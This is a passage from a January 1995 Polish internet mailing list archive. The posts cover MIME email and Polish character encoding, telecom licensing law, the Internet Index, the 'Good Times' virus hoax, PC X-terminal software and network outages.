From news.polip@cyber.ict.pwr.wroc.pl Sun Jan 1 20:20:12 1995 Received: from [156.17.9.30] by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA23938; Sun, 1 Jan 95 20:19:38 +0100 Return-Path: Received: by cyber (5.0/SMI-SVR4-UUCP-DOM) id AA18423; Sun, 1 Jan 1995 20:18:27 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 1 Jan 1995 19:17:11 GMT From: myszka@immt.pwr.wroc.pl (Wojciech Myszka) Message-Id: <3e6v3n$ec5@sun1000.ci.pwr.wroc.pl> Organization: Institute of Material Science and Technical Mechanics, Wroclaw, Poland Sender: news.polip@cyber.ict.pwr.wroc.pl Subject: Poczta MIME w polskim Internecie Content-Length: 0 dr inz. Wojciech Myszka Instytut Materialoznawstwa i Mechaniki Technicznej Politechniki Wroclawskiej tel. 20-27-54 e-mail: myszka@ldhpux.immt.pwr.wroc.pl Poczta elektroniczna w standardzie MIME Wojciech Myszka 1 stycznia 1995 No, coz... Problem poczty elektronicznej, a nawet Lista Aktualnych Proble- mow Macka Uhliga nie budza takich emocji jak mozliwosc czytania artykolow z pewnej gazety przez kazdego uzytkownika sieci. Trudno :-) W Liscie Aktualnych Problemow w rozdziale IV "Jezyk polski w polskim In- ternecie" umieszczono: 1. Dostepnosc tekstow po polsku na kazdym terminalu w polskim Internecie. Ustalenie standardu, w ktorym beda organizowane systemy informacyjne. Problem jest zlozony z kilku wzgledow: o wiekszosc oprogramowania sieciowego (zwlaszcza PD) opracowana zo- stala w Stanach Zjednoczonych - i nie wymaga (w Stanach oczywiscie) zadnej "lokalizacji". W najlepszym razie uwzglednia zachodnioeuropej- skie alfabety lacinskie, w dalszej kolejnosci brane sa pod uwage: alfabet hebrajski, dalekowschodnie (Japonia, Korea), cyrylica; o oprogramowanie komercyjne (glownie systemy Unix) sklania sie w strone rozwiazan zaakceptowanych przez ISO (a sa to kody stablicowane w nor- mach ISO 8859-x]); o z drugiej strony polskie srodowisko informatyczne nie potrafi zdecydo- wac sie na jednoolity standard kodowania polskich liter. Z duza pogarda odnosi sie do Polskiej Normy, dyskutuje o wyzszosci standardu Mazovia nad CP852 i godzi sie na standard MS Windows. Jezeli chodzi o poczte komputerowa to zostala ona bardzo dawno temu [5] zdefi- niowana jako siedmiobitowa. Co prawda wiele systemow deklaruje, ze moze od- bierac/przyjmowac przesylki zawierajace znaki z rozszerzonego zestawu ASCII, ale nie mozna zalozyc, ze kazdy system przesylke taka przyjmie. Powstaje zatem kilka problemow: 1. Jak skomponowac list (i wstawic tam polskie litery) i jakiego alfabetu uzywac. 2. W jaki sposob go przeslac. 3. Jak przesylke odczytac (w roznych srodowiskach). Nie zamierzam dyskutowac tu problemu pierwszego i trzeciego, skupiajac sie jedynie na drugim. Aby ulatwic sobie zadanie postawilem (na pl.listserv.polip) kilka pytan: o jakich programow uzywacie do wysylania MIME (obrazki, dzwieki, wi- deo, polskie litery wreszcie), o jak je oceniacie, o jaka jest "zgodnosc" tych narzedzi, o ktore systemy pocztowe sa "8th bit clean", ktore dokonuja automatycz- nej MIME-izacji poczty zawierajacej znaki z rozszerzonego zestawu gdy odbiorca nie potrafi przyjac takich informacji ESMTP, o inne uwagi na ten temat. Niestety nie dostalem wielu odpowiedzi na ten list :-( Dokladniej mowiac tylko dwie: od Witolda Owoca (Witold.Owoc@dcs-systems.com) i Bartlomieje Sola- rza (solarz@ibspan.waw.pl). Za odpowiedzi dziekuje, choc nie moga one stano- wic zadnego materialu do porownan czy analiz. Wskazano na dwa narzedzia: mailtool na SUN-ie i PC-Eudora (MS Windows). Moge dodac kilka informacji z "comp.mail.mime frequently asked questions list" i kilka slow o narzedziach, do ktorych ja mam dostep. Korzystam czasami z elma + metamail do czytania poczty, kodowanie jest row- niez mozliwe, choc nieco uciazliwe. Ponoc wersja 3 ma byc znacznie ulepszona w tym zakresie. Ni enalezy sie jej spodziewac w najblizszym czasie. Na komputerach PC mozna uzywac rowniez programu PCElm (wersja 3.21 w pewnym zakresie pozwala czytac poczte multimedialna, nie pozwala jednak na jej wysylanie) lub Elm IBM-PC1 w pewnym zakresie pozwala odczyty- wac poczte multimedialna, ale sa pewne klopoty z jej wyslaniem (ma za to wbudowana obsluge PEM i PGP). Czasami udaje mi sie przeczytac MIME-izowane newsy przy uzyciu tin-a, chc nigdy nie zadalismy sobie trudu, ze bardzo dobrze skonfigurowac poczte (pakiet metamail i mailcap [1]). Mam rowniez do dyspozycji pakiet komercyjny: MPower firmy HP (w syste- mie HP-UX na stacjach roboczych 9000/7xx) - ogromnie rozbudowany pakiet multimedialny, mogacy obsluzyc skaner, fax, audio, kamere (jezeli sie ma odpo- wiedni hardware), ale wymagajacy ogromnej ilosci zasobow (zwlaszcza RAM) i do samego wysylania poczty multimedialnej - nie polecalbym. Choc obsluga jest bardzo mila - drag and drop: wystarczy mysza chwycic ikone multimedial- nego pliku (dzwiek, obrazek, postscript) i wrzucic do okna edytora... Odbior rownie przyjemny: (ale tylko w srodowisku X-Windows) otwiera sie okno prze- gladarki i w miejscu wstawek umieszczona jest ikona; podwojne klikniecie po- woduje ,.,otwarcie" jej. Pegasus Mail ma mozliwosc wysylania/nadawania przesylek multimedialnych. Niestety, wersja "z pudelka" (z takiej chyba korzystalem na zaprzyjaznionym serwerze Novell) nie dodaje zbyt dobrych naglowkow. Skonfigurowac trzeba (jezeli mozna) sposob kodowania polskich liter, choc i tu widze duzy problem - powinny to byc znaki kodowane zgodnie z ISO 8859-2 (na PC najlatwiej jednak miec CP 852, a w systemie MS Windows cos co sie nazywa CP 1250 (??)). Pine pozwala wlaczac i czytac listy "multimedialne". Po blizszym przyjrzeniu sie okazalo sie, ze ma rowniez kilka innych zalet, ale wykorzystanie ich wymaga zainstalowania odpowiedniego serwera na komputerze, z ktorego chcemy czytac poczte (imap). Wersja DOSowska opiera sie na nim wylacznie - mozna za to czytac korespondencje z kilku serwerow. Osobnym problemem jest zgodnosc systemow poczty MIME. Przesylke z taka sama zawartoscia mozna przeslac na kilka roznych sposobow - konfigurujac plik mailcap nie jestesmy w stanie przewidziec wszystkich prawidlowych kombinacji naglowkow. Dokonalem kilku prob przesylania listow MIMeizowanych z bardzo roznym skutkiem. Wrocmy teraz do glosow uzytkownikow innych pakietow multimedialnych. o Witold Owoc opisal mailtool: Oczywiscie mailtool na Sun-ie. Teraz gdy CDE jest juz na rynku (AIX 4.0) wszyscy beda mieli wlasnie jego, wiec nawet nie patrze na inne platformy. ______________________________ 1Elm IBM-PC v2.1 PL63, of Jan 18 1994 Nawet jesli nie do wysylania, to do odbierania mailtool jest dobry. Solaris 2 ma zdefiniowane duzo wiecej pod CE (Classing Engine) niz Solaris 1, ale jak czegos brak to mozna sobie dodefiniowac albo prywatnie albo tylko dla danego komputera. o Bartlomiej Solarz opisal PC-Eudore: (ja:) jakich programow uzywacie... (BS:) PC-Eudora 1.4 - ale jesli rzeczywiscie mam cos poslac nie uzywam MIME (chyba ze musze). (ja:) jak je oceniacie, (BS:) Dziala dobrze ma bledy (ale nie dyskwalifikujace!) istnieje wersja komercyjna, moze pracowac w sieci oraz moze pracowac w tle i jest pod WINDOWS! (ja:) jaka jest "zgodnosc"... (BS:) Np. nie odbieram MIME z Pegasusa, ale odbieram z jakiegos innego Mailera (komercyjny produkt - nigdy nie udalo sie ustalic bo z drugiej strony siedziala osoba ktora tylko umiala obslugiwac). Wiec zgodnosc nie jest dobra. Wnioski Trudno podsumowac zebrane materialy. Ale pewne wnioski juz sie nasuwaja: 1. Standard MIME [2] dopuszcza stosowanie zmakow narodowych zdefinio- wanych w normach ISO-8859-x i albo trzeba norme rozszerzyc, albo przerzucic sie na stosowanie tych znakow (na komputerach PC), albo wbudowac w programy uzywane do czytania/komponowania poczty (MA - Mail Agent) odpowiednie filtry dokodujace konwersji z/do ISO-8859-2, albo czekac na unicode [3]. 2. Wobec popularnosci srodowiska MS Windows warto by lepiej rozpoznac jakies produkty (komercyjne i PD) pracujace w tym srodowisku - moga one niepostrzezenie zdobyc dominujaca popularnosc. 3. Warto by zebrac w jednym miejscu narzedzia i pliki konfiguracyjne uzy- wane przez popularne pakiety MIME. 4. Wrato by wreszcie rozpoznac mozliwosci poczty X.400. 5. Jezeli chodzi o ESMTP [4] to prosze wyslac list zawierajacy niezakodo- wane w zaden sposob znaki z rozszerzonego zestawu ASCII zaadresowany do siebie w sposob posredni: user%domain@immt.pwr.wroc.pl i obejrzec wyniki (user i domain sa czesciami wlasnego adresu) - takich zachowan przy przesylaniu poczty tez mozemy sie spodziewac. Literatura [1] N. Borenstein. A user agent configuration mechanism for multimedia mail format information. RFC 1343, June 1992. [2] N. Borenstein and N. Freed. Mime (multipurpose internet mail extensions): Mechanisms for specifying and describing the format of internet message bodies. RFC 1341, June 1992. [3] D. Goldsmith and M. Davis. Using unicode with mime. RFC 1641, July 1994. [4] J. Klensin, N. Freed, M. Rose, E. Stefferud, and D. Crocker. Smtp service extensions. RFC 1651, July 1994. [5] Jonathan B. Postel. Simple mail transfer protocol. RFC 821, August 1982. ----------------------------------------------------- PS1: Tekst ten wyslalem bez ogonkow i nie korzystajaz z MIME. Obawiam sie, ze bylo by zbyt wiele problemow z jego odczytaniem. Wersja z "ogonkami" dostepna jest jako: http://www.immt.pwr.wroc.pl/"myszka/mime.ps PS2: Oczekuje na wszelkie uwagi i komentarze. -- Wojciech A. Myszka myszka@ldhpux.immt.pwr.wroc.pl Technical University of Wroclaw, Institute of Material Science and Technical Mechanics, Smoluchowskiego str. 25 50-370 Wroclaw, Poland, tel. (+48 71) 21-50-28, fax () 21-12-35 -- GOVERNMENT ECONOMIST VIRUS: Nothing works, but all your diagnostic software says everything is fine. From muhlig@usctoux1.cto.us.edu.pl Mon Jan 2 09:26:42 1995 Received: from usctoux1.cto.us.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA03419; Mon, 2 Jan 95 09:26:03 +0100 Return-Path: Subject: ustawa o lacznosci To: polip@zsku.p.lodz.pl Date: Mon, 2 Jan 1995 09:34:04 -0100 (MET) From: Maciek Uhlig X-Mailer: ELM [version 2.4 PL23~] Content-Type: text Content-Length: 1537 Message-Id: <9501020934.aa20574@usctoux1.cto.us.edu.pl> Przesylam rzadowa informacje o postepie prac legislacyjnych w temacie ustawy o lacznosci. Jak widac przyspieszenie dzialan jest znaczace. Niedawno KERM, dzis rzad, jutro Sejm... a niebawem koncesje. Zwracam uwage, ze wyglada na to, ze koncesje trzeba bedzie miec zarowno na budowe, rozbudowe i uzytkowanie MAN, jak i na instalacje PC z Linuxem jako IP provider. A widac tylko jednego kandydata do koncesji... -- Sender: Komunikaty z posiedzen Rady Ministrow i Komitetow Rzadowych Subject: Komunikat z posiedzenia Rady Ministrow w dniu 28.12.1994 To: Multiple recipients of list KOMUNIKATY-BPRZ KOMUNIKAT Z POSIEDZENIA RADY MINISTROW w dniu 28 grudnia 1994 r. [...] Rada Ministrow przyjela projekt nowelizacji ustawy o lacznosci i skierowala go do Parlamentu w trybie pilnym. [...] W projekcie ustawy proponuje sie wprowadzenie koncesji wydawanych przez ML na swiadczenie uslug telekomunikacyjnych oraz zezwolen m.in. na zakladanie i uzytkowanie radiokomunikacyjnych urzadzen nadawczych lub nadawczo-odbiorczych. Maciek Uhlig ---------------------------------------------------------------------- Maciej UHLIG, Computer Center, Silesian University Uniwersytecka 4 St., 40-007 KATOWICE, POLAND Internet: muhlig@usctoux1.cto.us.edu.pl Voice: +48 (32) 588211 (1768) Fax: +48 (32) 596847 ***** Imagine all the people sharing all the world (John Lennon) ***** From kokowski@CS.PUT.Poznan.PL Mon Jan 2 09:26:46 1995 Received: from syriusz.cs.put.poznan.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA03418; Mon, 2 Jan 95 09:26:02 +0100 Return-Path: Received: from wega.ics.tup.edu.pl (wega.cs.put.poznan.pl) by syriusz.cs.put.poznan.pl (4.1/SMI-4.1) id AA21694; Mon, 2 Jan 95 09:31:57 +0100 Subject: Internet Index To: polip@zsku.p.lodz.pl (Polish Internet) Date: Mon, 2 Jan 1995 09:19:29 +0100 (CEU) From: Tomasz Kokowski Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Length: 2329 Message-Id: <9501020919.aa22031@wega.ics.tup.edu.pl> Przesylam kopie indeksu sieci Internet (Internet Index). Statystycy i analitycy do dziela! Tomasz Kokowski -------------------------------------------------------------------------- > > The Internet Index > Number 5 > Inspired by "Harper's Index"* > Compiled by Win Treese (treese@OpenMarket.com) > 31 December 1994 > > Growth of Gopher traffic in 1993: 1076% > Growth of Gopher traffic in 1994: 197% > > Growth of WWW traffic in 1993: 443,931% > Growth of WWW traffic in 1994: 1713% > > Growth in NSFnet traffic in 1994: 110% > > Advertised network numbers in November, 1993: 19,664 > Advertised network numbers in November, 1994: 42,883 > > Number of Internet access providers with service in Quito, Ecuador: 1 > > Number of countries reachable by electronic mail in 1993: 137 (approx.) > Number of countries reachable by electronic mail in 1994: 159 (approx.) > > Number of countries on the Internet in 1994: 81 > Number of countries on the Internet in 1993: 60 > > Number of sites participating in "First Night in Cyberspace": 10 > > Number of peer-reviewed scholarly journals published electronically > on the Internet: over 70 > > Number of attendees at Internet World, January, 1992: 272 > Number of attendees at Internet World, December, 1994: over 10,000 > > Number of "cybercafes" in the United Kingdom: 1 > > Number of subscribers to the ClariNet electronic newspaper: 80,000 > > Number of FBI cases officially publicized on the Internet: 1 > > Percentage increase in weight of the 2nd edition of the > Canadian Internet Handbook: 280 > > Number of meetings of the Internet Engineering Task Force, through 1994: 31 > > Number of US Youth Soccer teams with web pages: 2 > > On average, number of days between issuing of new Internet RFCs in 1994: 2 > > Number of phone calls to InterNIC Registration Services during > November, 1994: 1,964 > > Number of Internet messages causing Microsoft to issue a press release > denying them: 1 > > "Harper's Index" is a registered trademark of Harper's Magazine Foundation. > Copyright 1994 by Win Treese. Send updates or interesting statistics to > treese@OpenMarket.com. A copy of the Index annotated with sources can > be found at http://www.openmarket.com/info/internet-index/current-sources.html. From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 3 12:20:10 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA05142; Tue, 3 Jan 95 12:19:02 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id MAA00397 for polip@zsku.p.lodz.pl; Tue, 3 Jan 1995 12:17:22 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: Tue, 3 Jan 1995 11:00:15 GMT From: mkaleta@cyf-kr.edu.pl (A.Gorbiel) Message-Id: Organization: Gazeta Wyborcza, Oddzial Katowice Sender: news.polip@cyber.ict.pwr.wroc.pl Reply-To: A.Gorbiel@Ga-Wyb.Krakow.PL (Andrzej Gorbiel) Subject: Co sie stalo z INF.WSP.KRAKOW.PL?! Witam, Czy ktos z POLIPow mmoglby mnie oswiecic? Od tygodnia probuje wyslac mail na inf.wsp.krakow.pl, ale listy wracaja po kilku dniach. Rozumiem, ze na swiwta ktos mogl wylaczyc tego Novella, ale mamy juz nowy rok! Zeby bylo jeszcze gorzej, osoba z ktora usiluje sie skontaktowac ma z pozostalych _dzialajacych_ kont (Cyfronet) .forward na ten feralny komputer, wobec czego dostalem kolejne ostrzezenia od MAIL DELIVERY S. -- , Andrzej Gorbiel Gazeta Wyborcza Oddz. Katowice, (++48-32)512-130 ext.231, fax (++48-32)512-472 From @plearn.edu.pl:idgpl@sam.nask.com.pl Tue Jan 3 14:05:12 1995 Received: from plearn.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA06938; Tue, 3 Jan 95 14:02:27 +0100 Return-Path: <@plearn.edu.pl:idgpl@sam.nask.com.pl> Received: from sam.nask.com.pl by plearn.edu.pl (IBM VM SMTP V2R1) with TCP; Tue, 03 Jan 95 14:06:56 CET Organization: International Data Group Poland Date: Tue, 03 Jan 95 09:59:59 +0100 From: idgpl@sam.nask.com.pl (Redakcja ComputerWorld) Message-Id: <9501030859.AA10372@sam.nask.com.pl> To: POLIP@zsku.p.lodz.pl, CIUW-L@PLEARN.EDU.PL Subject: FCC ostrzega przed "Good Times"! In the early part of December, FCC started to receive information requests about a supposed "virus" which could be contracted via America OnLine, simply by reading a message. The following is the message that FCC received: > > --------------------------------------------------------------------------- > | Here is some important information. Beware of a file called Goodtimes. | > | | > | | > | Happy Chanukah everyone, and be careful out there. There is a virus on | > | America Online being sent by E-Mail. If you get anything called "Good | > | Times", DON'T read it or download it. It is a virus that will erase your | > | hard drive. Forward this to all your friends. It may help them a lot. | > --------------------------------------------------------------------------- > From dyrdal@gate.maloka.waw.pl Tue Jan 3 14:41:46 1995 Received: from gate.maloka.waw.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA08743; Tue, 3 Jan 95 14:38:52 +0100 Return-Path: Date: Tue, 3 Jan 1995 15:35:38 +0000 From: Krzysiek Dyrdal Subject: Re: FCC ostrzega przed "Good Times"! To: polip@zsku.p.lodz.pl In-Reply-To: <9501030859.AA10372@sam.nask.com.pl> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII A mysmy juz chyba o tym niedawno tutaj rozmawiali ..... On Tue, 3 Jan 1995, Redakcja ComputerWorld wrote: > In the early part of December, FCC started to receive information > requests about a supposed "virus" which could be contracted via > America OnLine, simply by reading a message. The following is the > message that FCC received: > > > > > --------------------------------------------------------------------------- > > | Here is some important information. Beware of a file called Goodtimes. | > > | | > > | | > > | Happy Chanukah everyone, and be careful out there. There is a virus on | > > | America Online being sent by E-Mail. If you get anything called "Good | > > | Times", DON'T read it or download it. It is a virus that will erase your | > > | hard drive. Forward this to all your friends. It may help them a lot. | > > --------------------------------------------------------------------------- > > > From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 3 14:41:56 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA08757; Tue, 3 Jan 95 14:39:04 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA02557 for polip@zsku.p.lodz.pl; Tue, 3 Jan 1995 14:10:49 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 3 Jan 1995 13:10:47 GMT From: myszka@immt.pwr.wroc.pl (Wojciech Myszka) Message-Id: <3ebicn$296@cyber.ict.pwr.wroc.pl> Organization: Technical University of Wroclaw, Poland Sender: news.polip@cyber.ict.pwr.wroc.pl Subject: Announce: X PC Server Szanowni Panstwo, znalazlem takie interesujace obwieszczenie na temat mozliwosci wykorzystania PC z Linuxem jako X-terminala. Oprogramowanie jest dostepne w ftp://ftp.immt.pwr.wroc.pl/pub/X-terminals pliki xpcs.doc i xpcsa.zip Dziala bardzo sprawnie, wymaga niestety pewnej minimalnej wiedzy na temat plikow konfiguracyjnych XFree86 i doinstalowania fontow lub posiadana w najblizszej okolicy font serwera. Polecam Wojtek -- Wojciech A. Myszka myszka@ldhpux.immt.pwr.wroc.pl Technical University of Wroclaw, Institute of Material Science and Technical Mechanics, Smoluchowskiego str. 25 50-370 Wroclaw, Poland, tel. (+48 71) 21-50-28, fax () 21-12-35 ----------------------------------------------------------------- [ Article crossposted from comp.protocols.tcp-ip.ibmpc ] [ Author was Francisco Rosich Viana ] [ Posted on 31 Dec 1994 17:42:16 +0100 ] If you want to use a PC as an X terminal, give a try to xpcsa.zip, available at ftp://modico.eleinf.uv.es/pub. The README file is attached to this announce. "modico" is my 386 PC at work. It is not usually a stable site for ftp distributions, but I'm about to spend a full week skiing, so it will be idle most of the time. When I come back by monday 9, I'll upload to a better site if necessary. I will not have (or need) Internet access at Avoriaz :-), so be patient if you send me mail during this week. Paco. rosich@graf.ci.uv.es ------------------------------------------------------------------------- XPCS Alpha, 31-Dec-1994 Paco Rosich XPCS turns a PC into an X-terminal by using a minimal Linux system and the XFree86 server. The idea is that most people that don't want to install a full PC-based UNIX system could run a good X server in only 3.5Mb of space on a DOS partition (using UMSDOS). The distribution, with the SVGA server and without fonts, fits compressed in one floppy (I know now that there was a UMSDOS Linux distribution in three floppies which included an X server. This handy distribution is no longer at major archive sites). So that's what I've called XPCS (for "X PC Server"). There is no user-friendly installation or configuration utility, and may not work in your hardware as released (you may have to get other kernel or X server). I still feel that this can be useful for most people, so I'm distributing it anyway. You need 3.5 Mb of hard disk space in a real drive (no network, no compressed drives,..) to install XPCS. If you have all your drive compressed with DoubleSpace, defragment the compressed unit and reduce its size to recover space in the physical drive. Use "pkunzip -d" to extract paths stored in the zipfile, and extract to the root directory, so \linux is created. A >386 PC with 4Mb RAM is required. Also, some host on your network should run xdm. Read xpcs.bat; it will say you what to do now. I'm not including enough documentation to smoothly install and configure everything. Try getting documentation about Linux and XFree86 if you have problems. Major Linux ftp sites are sunsite.unc.edu (/pub/Linux) and tsx-11.mit.edu (/pub/linux). I don't pretend to make this into a high quality product, so there is no version number. Only this "alpha" now, and hopefully a "final release" soon if I receive enough feedback. Paco. From wowoc@acs.ucalgary.ca Tue Jan 3 17:36:49 1995 Received: from acs7.acs.ucalgary.ca by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA15779; Tue, 3 Jan 95 17:35:27 +0100 Return-Path: Received: by acs7.acs.ucalgary.ca (AIX 3.2/UCB 5.64/4.03) id AA20952; Tue, 3 Jan 1995 09:42:27 -0700 Date: Tue, 3 Jan 1995 09:42:27 -0700 From: wowoc@acs.ucalgary.ca (Witold Owoc) Message-Id: <9501031642.AA20952@acs7.acs.ucalgary.ca> To: polip@zsku.p.lodz.pl Subject: Re: Announce: PC X-client Wojciech Myszka pisze o tym jak > XPCS turns a PC into an X-terminal by using a minimal Linux system and > the XFree86 server Chcialbym polecic podobny pakiet Xdenu. Jest on dostepny w ftp://ftp.cs.hut.fi/pub/linux/xdenu Wersja 1.0 miesci sie na 2 dyskietkach, a wersja 2.0 uzywa LOADLIN i UMSDOS. Zawiera toto tylko 4 czcionki, wiec 'font server' lub doinstalowanie czcionek sa konieczne do powaznej pracy. Bardzo dopracowana instalacja/konfiguracja, jesli C: nie jest zkompresowany, to nie trzeba nic wiedziec o Linuxie czy tez LOADLIN by wystartowac. Witold Owoc #disclaimer "my.private.views" --------------------------------------------------------- The University of Calgary had no knowledge of nor in any way gave its consent to the transmission of this message. From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 4 09:59:46 1995 Received: from [156.17.9.30] by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA00670; Wed, 4 Jan 95 09:57:55 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id JAA21270 for polip@zsku.p.lodz.pl; Wed, 4 Jan 1995 09:47:27 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: Wed, 4 Jan 1995 08:22:38 GMT From: solarz@ibspan.waw.pl (Bartlomiej Solarz) Message-Id: Organization: Instytut Badan Systemowych Sender: news.polip@cyber.ict.pwr.wroc.pl Subject: SLIP Server na SUN 4.1.3 Witam! Czy ktos z polipowcow skonfigurowal/eksploatuje SLIP Routera na SUN 4.1.3? Jesli komus ta sztuka sie udala oczekuje na wiadomosc: solarz@ibspan.waw.pl Z powazaniem Bartlomiej Solarz From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 4 12:19:47 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA02883; Wed, 4 Jan 95 12:17:53 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id MAA23874 for polip@zsku.p.lodz.pl; Wed, 4 Jan 1995 12:21:30 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 4 Jan 1995 10:56:58 GMT From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) Message-Id: <3edutq$8am@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl Subject: ippt.gov.pl poza siecia? Witam, chcial bym sie dowiedziec, czy ktos moze wie dlaczego od mniej-wiecej tygodnia z sieci zniknela domena ippt.gov.pl? -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 4 12:59:47 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA03957; Wed, 4 Jan 95 12:57:53 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id MAA24389 for polip@zsku.p.lodz.pl; Wed, 4 Jan 1995 12:47:29 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: Wed, 4 Jan 1995 11:31:14 GMT From: mkaleta@cyf-kr.edu.pl (A.Gorbiel) Message-Id: Organization: Gazeta Wyborcza, Oddzial Katowice Sender: news.polip@cyber.ict.pwr.wroc.pl References: Reply-To: A.Gorbiel@Ga-Wyb.Krakow.PL (Andrzej Gorbiel) Subject: Re: Co sie stalo z INF.WSP.KRAKOW.PL?! A.Gorbiel (mkaleta@cyf-kr.edu.pl) wrote: : Witam, : Czy ktos z POLIPow mmoglby mnie oswiecic? Od tygodnia probuje wyslac mail : na inf.wsp.krakow.pl, ale listy wracaja po kilku dniach. Rozumiem, : ze na swiwta ktos mogl wylaczyc tego Novella, ale mamy juz nowy rok! Juz mi doniesiono, ze pewna szanowana firma naprawia im juz drugi tydzien repeater! -- , Andrzej Gorbiel Gazeta Wyborcza Oddz. Katowice, (++48-32)512-130 ext.231, fax (++48-32)512-472 From staszek@mimuw.edu.pl Wed Jan 4 13:59:47 1995 Received: from ghost.mimuw.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA05272; Wed, 4 Jan 95 13:58:45 +0100 Return-Path: Received: from localhost (staszek@localhost) by ghost.mimuw.edu.pl (8.6.4/8.6.4) id OAA12494 for polip@zsku.p.lodz.pl; Wed, 4 Jan 1995 14:06:03 +0100 From: Staszek Kurpiewski Message-Id: <199501041306.OAA12494@ghost.mimuw.edu.pl> Subject: Re: ippt.gov.pl poza siecia? To: polip@zsku.p.lodz.pl Date: Wed, 4 Jan 1995 14:06:02 +0100 (MET) In-Reply-To: <3edutq$8am@ghost.mimuw.edu.pl> from "Andrzej K. Brandt" at Jan 4, 95 12:25:38 pm X-Mailer: ELM [version 2.4 PL20] Content-Type: text Content-Length: 308 > > Witam, > > chcial bym sie dowiedziec, czy ktos moze wie dlaczego od mniej-wiecej > tygodnia z sieci zniknela domena ippt.gov.pl? > > -- > > 73 de Andy SP5WCA dodatkowo inne sieci w gov.pl maja trudnosci (w ippt jest glowny serwer domeny gov.pl). Staszek Kurpiewski From geniwick@cyfronet.krakow.pl Wed Jan 4 16:09:49 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA07554; Wed, 4 Jan 95 16:05:34 +0100 Return-Path: Received: from kinga.cyf-kr.edu.pl (kinga.cyf-kr.edu.pl [149.156.4.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with ESMTP id QAA25273 for ; Wed, 4 Jan 1995 16:15:02 +0100 Received: from [149.156.2.26] (jacek.cyf-kr.edu.pl [149.156.2.26]) by kinga.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id QAA21982 for ; Wed, 4 Jan 1995 16:10:05 +0100 Message-Id: <199501041510.QAA21982@kinga.cyf-kr.edu.pl> X-Sender: geniwick@kinga.cyf-kr.edu.pl Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Wed, 4 Jan 1995 16:18:25 +0100 To: polip@zsku.p.lodz.pl From: geniwick@cyfronet.krakow.pl (Jacek Niwicki) Subject: Full Internet in Belarus Przedgladajac predswiateczne (zalegle) maile natknalem sie na ponizszy tekst. Pragne zwrocic uwage na koncowy akapit mowiacy o podlaczeniu Minska z Warszawa i wspolpraca z NASK >Received: from erasmus.terena.nl by relay.surfnet.nl with SN-SMTP (PP); > Tue, 13 Dec 1994 18:12:55 +0100 >Received: by erasmus.terena.nl (5.65c/4.33) id AA02697; > Tue, 13 Dec 1994 18:12:40 +0100 >Received: from unibel.by ([193.232.92.33]) by erasmus.terena.nl (5.65c/4.33) > with SMTP id AA02691; Tue, 13 Dec 1994 18:12:33 +0100 >Received: from brc by unibel.by with uucp (sendmail 8.6.6/8.6.8) > id m0rHall-000VRDC; Tue, 13 Dec 94 19:12 EET >Received: by brc.minsk.by (uumail/ache) with UUCP id AA10595; > Tue, 13 Dec 1994 19:09:03 +0200 >Received: by ok.minsk.by (UUPC/@ v6.07alpha, 08Mar94) with UUCP; > Tue, 13 Dec 1994 18:55:46 +0200 >To: ceec@terena.nl >Message-Id: >Organization: Open Contact, Ltd. >From: Sergei Kritsky >Date: Tue, 13 Dec 94 18:55:46 +0200 >Subject: Full Internet in Belarus >X-Mailer: BML [MS/DOS Beauty Mail v1.36h] >Lines: 53 >Mime-Version: 1.0 